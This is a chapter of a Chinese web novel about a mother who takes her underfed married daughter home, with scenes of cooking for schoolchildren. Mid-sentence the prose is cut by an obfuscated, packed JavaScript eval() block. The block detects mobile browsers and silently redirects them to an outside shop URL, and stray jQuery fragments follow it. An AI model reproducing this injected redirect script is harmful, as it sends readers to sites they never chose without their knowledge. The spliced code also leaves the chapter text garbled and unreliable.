15. 第 15 章

作品:《市井摆摊美食日常

    “我从未吃饱过!”


    短短六个字,如同六个秤砣,重重的砸在周鑫的脑袋上,将他震得头昏眼花,他原本以为,他是这附近最体贴的丈夫,他们也是这附近最幸福的夫妻。


    他从不打她骂她,时时护着她,即便苏悦没生男孩,他也从未说过一句责备她的重话,原来一切都只是他以为。


    苏悦在怨怼,怨怼他没让他吃饱。


    姜氏冷笑:“即便家里穷得揭不开锅的人家,也没有一年到头让媳妇吃半碗饭的道理,周鑫,你还不知道自己的错吗?”


    周鑫看着泪流满面的苏悦,自责心疼将他填得满满的,姜氏的指责像无数的毒蜂,扎在他脸上,让他愧疚不已:“阿悦,我知道错了,我以后会让你吃饱饭的。”


    苏悦原本充满希望的眼眸瞬间黯淡无光,周鑫感觉好像说错了话,又不晓得错在哪里,茫然的看着姜氏,希望她能帮着劝解。


    姜氏嗤笑一声,抱着巧儿转身便走:“周鑫,这是半碗饭的事么?我带着他们娘两回去住几天,你好好想想,若想明白了,便来东城门找我。”


    她斜乜着韦婆子,晃了晃腰间的钱袋子:“不好意思,你寻的发财炊饼摊,便是我的,如今我在城里卖炊饼,莫说几个白面炊饼,就是红烧肉酱排骨,苏悦母女,要想吃多少,便有多少,我家断然不会弄出大人吃饭,孩子媳妇挨饿的事来,丢人!”


    韦婆子听说发财炊饼摊是她家的,面上闪过羡慕嫉妒恨各种神色,她回娘家听弟妹念叨,这家新开的炊饼摊人气爆好,特别是她家做的米发糕,投机取巧弄了个什么白玉盘的名字,兄弟家的生意被分走许多。


    又被她当面羞辱一顿,顿时气的面皮发黑,大口大口的喘着粗气,偏偏自己那个傻儿子还巴拉着苏悦不放,问她哪里没做好,一定改,她一口气没上来,眼前一黑,就势晕倒。


    姜氏想着教训韦婆子一顿出口恶气,不是真的想结仇,看人晕倒,担心摔坏,顺手把人捞住轻轻放在地上,她瞟一眼韦婆子乱动的眼珠子,冷笑道:“周鑫,你娘听说我们家开了炊饼摊子,开心坏了,你快弄些还魂汤来,我帮你灌下去,她立刻便好。”


    周鑫哪里明白自己娘亲和岳母之间的机锋,慌里慌张问去哪里讨还魂汤。


    姜氏朝着外头努嘴:“诺,门口那个小孩子正尿着呢,快去接。”


    周鑫哦了一声,穿着里衣顾不得套外裳,抄起个盆便要出去。装晕的韦婆子哼唧哼唧醒来,心虚的嚷嚷着头疼,周鑫看见,哪里还不明白自家娘亲装晕,越发羞愧得说不出话来。


    姜氏抱着巧儿,恨铁不成刚瞪了一眼苏悦:“没用的东西,还不跟上!”


    出了门,把巧儿放在车上,扯着苏悦一阵风卷走了,周鑫待要追,身后韦婆子嚷嚷着心口疼,肚子痛,要死要活要看大夫,便没追媳妇,扭头带着老娘去医馆。


    苏悦觑一眼姜氏紧绷的脸,不敢吭声,小跑紧跟在后面,疾步两条街后,苏悦拖住姜氏手臂,大口大口喘气,弱弱道:“阿娘慢些,我,我走不动了。”


    姜氏深吸一口气,等她跟上来,缓了缓语气道:“这些年你爹不在了,弟弟年幼,我知道你受了许多委屈,之前退让些便罢了,如今,有了巧儿,你该立起来才是。行了,不说那些,如今我带着你弟妹在东城租了房子,先回去,再说说后面的事。”


    她从篮子里拣出两个灰面炊饼,一人塞了一个:“先吃个炊饼垫吧垫吧肚子,回去让阿宁给你做些别的。”


    对于她的到来,姜宁和苏慎表示欢迎。


    今日午饭姜宁为小学堂的孩子们准备了菘菜肉片汤和家常豆腐。


    肉片提前用淀粉,精盐腌制,先把菘菜爆火炒至断生铺在盆底,锅里加入少量油,一勺豆瓣酱炒香后加入骨头汤,煮沸后撒少许糖提鲜,一些盐调味,再快速滑入腌好的肉片,肉片变色立马捞起来,码放在菘菜上,再把汤汁浇在肉上,最后锅里重新烧油,等油温度烘手时泼在肉片汤上,撒些葱花调色,一份美味香鲜的菘菜肉片汤便做好了。


    其实是不放辣椒版本的水煮肉片。


    家常豆腐先过一遍沸水,洗掉豆腥味,放点葱姜一起烹饪,又香又嫩。


    苏慎安排巧儿坐在小胖子和小板栗中间,姜宁拉着苏悦一起给孩子们添饭加菜。


    每个孩子乖乖坐在桌子前,抱着手吸着香味眼巴巴等着吃饭,姜宁每个小木碗添半碗饭,一勺菘菜肉片,一勺豆腐,让苏悦端到小娃们面前,不用喂饭,小娃们自己左手拉着小木碗,右手抓着小木勺乖巧吃饭,苏慎也跟着一起吃,一面吃一面教小娃们要把肉嚼细,豆腐里的姜片不会吃,可以挑出来放桌子上,菘菜也要咽下肚,吃了肚肚会咕噜咕噜笑。


    吃完不够的孩子,也不哭闹,小手举得高高的,姜宁便再给他重新添加一份。


    小胖比较能吃,连续吃了三碗,举手还要,姜宁走过去摸摸他的肚子,已经鼓鼓的,不许他再吃:“你肚肚里已经住满肉片啦,再吃的话,肚肚会疼的,而且,必须留一点肚子,因为我们今日的点心是冰糖葫芦,你想不想吃?”


    小胖纠结了一会,摇摇头:“我还是留着肚子吃冰糖葫芦吧!”


    巧儿从来没吃过这么香的饭饭,肉片嫩滑得像鸡蛋羹一样,却比鸡蛋香多了。她也学着举手,吃了两份,还想吃第三份,听了他们的话,放下碗筷,仰着头问:“小姨,我也想要冰糖葫芦,我只舔一下,不吃,可以吗?”


    姜宁又气又好笑:“不行,我们不许舔,只许吃。大家都有,吃饱肚肚后,我们去后院散步消食,去看看小白菜今天长大了吗,我们再当一次捕快,把偷吃菘菜的虫子小偷抓起来,比比哪个捕快最厉害,抓的虫子最多,下午吃点心,就多奖励他一颗糖葫芦。”


    苏慎哄着小娃们到后院撒尿抓虫子消食物,姜宁收拾打扫了卫生,领着苏悦去了灶房。


    她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991621|193739||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和苏悦商量:“阿姐,肉片豆腐各剩一大碗多,应该够我们吃了,要不热一热将就吃一顿,晚上我们再吃顿好的,想吃鱼还是肉,一会吃完饭让阿娘去买?”


    在周家,韦婆子从不和她商量,一律使唤她做什么,一时她有些怔住。


    姜宁以为她嫌弃,解下围裙笑道:“阿姐先坐一会,我去街上秤上二两卤肉回来,打个蘸水就能吃,也很方便。”


    苏悦拉住她:“不用去,这些就很好,我刚才想着其他事情。”


    魏婆子知道他们有体己话要说,扒拉完一碗饭后说饱了,要去后院照看孩子躲了出去。屋内只剩下娘是三个。


    苏悦一粒一粒心不在焉吃着米饭。


    姜氏满脸的嫌弃,一巴掌拍在她肩上:“你还没有巧儿大么,不会自己夹菜?”


    没出嫁时,家里全家老小一起吃饭,饭菜阿奶分好。


    出嫁后回娘家,阿奶从未留饭,每次阿娘都攒些鸡蛋或者其他七零八碎的东西,让她带回周家。


    在周家,饭菜是婆婆或丈夫分好,她,从未自己夹过菜。


    看着中间两碗堆得满满的肉片和豆腐,她试探着夹了一小片肉,塞到嘴里,然后去看姜氏和姜宁的脸色。


    若两人皱一下眉头,她便不吃了。


    姜宁疑惑的眨眨眼,自己夹了一片尝了尝:“味道正常啊,阿姐你吃着是咸了吗,我再放点汤?”


    姜氏眉头皱得能夹死苍蝇,大女儿小心翼翼的模样实在让人火冒三丈,记得大女儿一直是有主见的,怎么现在变得如此唯唯诺诺,小家子气。


    她抬起碗,扒拉半碗肉片到苏悦碗里,直到再也堆不下:“你想吃啥就直接夹,在自己家,这是做什么?”


    “之前是你阿奶当家,她抠搜惯了的,如今我们出来住,便是我自己当家,想吃多少就吃多少!”


    对上她疑惑的眼神,姜氏三言两语将苏老头软禁他们,他们离家出走,而后单方面更名改姓自立门户创业的事说了一遍,语气轻淡得好似今日早晨吃了个灰面炊饼一样,不值一提。


    苏悦眼睛里盛满了惊愕,还能这样?


    她学习的三从四德,在家从父,出嫁从夫,在阿娘这里,全是过山风。


    姜氏有些头疼:“你小时在家,你父亲忙着出门赚钱,我忙着照顾田地,把你丢给你阿奶,让你学了些虚头巴脑的条条框框,倒把你给捆着了,后来添了弟妹,家里境况一日不如一日,没能给你撑腰,都是我的错。”


    “如今,你也是当娘的,既然周家给你吃了这么多气,你可愿意舍去他们,放弃衣来张口,饭来伸手,不为生计劳累,养尊处优的好日子,带着巧儿和我们一起去叶城?”


    “当然,以后的日子,可能和我们一样很辛苦:上山下田,抛头露面,走街串巷,日夜劳作为生计而奔波,唯一好处,便是自由自在,想吃什么,想穿什么,想剪什么样的头发,全凭自己做主?”